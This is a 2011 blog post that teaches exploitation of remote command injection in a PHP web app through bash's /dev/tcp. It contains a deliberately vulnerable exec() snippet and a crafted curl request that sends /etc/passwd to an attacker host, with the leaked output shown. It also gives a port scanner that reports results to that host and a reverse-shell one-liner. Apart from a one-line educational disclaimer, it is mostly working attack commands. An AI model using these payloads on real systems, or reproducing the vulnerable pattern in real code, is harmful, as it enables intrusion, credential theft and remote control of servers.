Remote Command Injection - Playing with /dev/tcp

Written by Alexandre De Dommelin Mon May 23 22:01:03 CEST 2011

Important note : this article is for educational purpose only ...
When pentesting web applications, you can sometimes found remote command injection vulnerabilities. These vulnerabilities exist when user input is not properly sanitized and used, inside, for example, PHP functions such as exec(), system() ... here's a stupid example of vulnerable code :

<?php
/*
 * Stupid example
 */

function create_dir($dir) {
        @exec('mkdir /var/tmp_storage/'.$dir, $out, $ret);
}

// call my vulnerable function
create_dir( $_GET['dir'] );
?>

In this case, you can see that $_GET['dir'] is injectable, but no output will be returned to user. Considering that you can't create any file into the DocumentRoot of the vulnerable site, and that you can't upload your own binary (netcat for example), here's a good way to exploit /dev/tcp capabilities to send everything you want to another server and much more.

What is /dev/tcp ?
/dev/tcp is a Bash built-in which can be used to create a TCP socket on which you can interact using regular IO redirections. Usage / Exploitation
Put netcat in listen mode on a remote box "attack-box.tld" on a given port (4444 here)
$ nc -klvp 4444
listening on [any] 4444 ...
Then, send a crafted request on the vulnerable file :
% curl -I 'http://www.victim.tld/create_dir.php?dir=%2f%3B%20bash%20-c%20%22cat%20%2fetc%2fpasswd%3E/dev/tcp/attack-box.tld/4444"'
HTTP/1.1 200 OK
Content-type: text/html
Date: Mon, 23 May 2011 19:45:08 GMT
Server: Apache 

You can immediately see on "attack-box" the following output, the victim's /etc/passwd file :
$ nc -klvp 4444
listening on [any] 4444 ...
connect to [xxx.xxx.xxx.xxx] from www.victim.tld [yyy.yyy.yyy.yyy] 37216
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/bin/sh
man:x:6:12:man:/var/cache/man:/bin/sh
lp:x:7:7:lp:/var/spool/lpd:/bin/sh
mail:x:8:8:mail:/var/mail:/bin/sh
news:x:9:9:news:/var/spool/news:/bin/sh
uucp:x:10:10:uucp:/var/spool/uucp:/bin/sh
backup:x:34:34:backup:/var/backups:/bin/sh
list:x:38:38:Mailing List Manager:/var/list:/bin/sh
irc:x:39:39:ircd:/var/run/ircd:/bin/sh
nobody:x:65534:65534:nobody:/nonexistent:/bin/sh
libuuid:x:100:101::/var/lib/libuuid:/bin/sh
postfix:x:101:105::/var/spool/postfix:/bin/false
sshd:x:102:65534::/var/run/sshd:/usr/sbin/nologin
[...]
More fun ...
You can also use /dev/tcp properties to create a basic port-scanner, which can send to your box the results :
port=1;
ip=192.168.142.12;
while [ $port -lt 1024 ];
do
  echo > /dev/tcp/$ip/$port;
  [ $? == 0 ] && echo "Found ${ip}:${port} opened" >> /tmp/ports;
  port=`expr $port + 1`;
done;
cat /tmp/ports > /dev/tcp/attack-box.tld/4444;
Or also use it to bring up a quick reverse-shell :
$ bash -i >& /dev/tcp/attack-box.tld/4444 0>&1

Of course, for those 2 examples, you need a nc listening on "attack-box.tld" ...

Written by | Permanent link | File under: Tips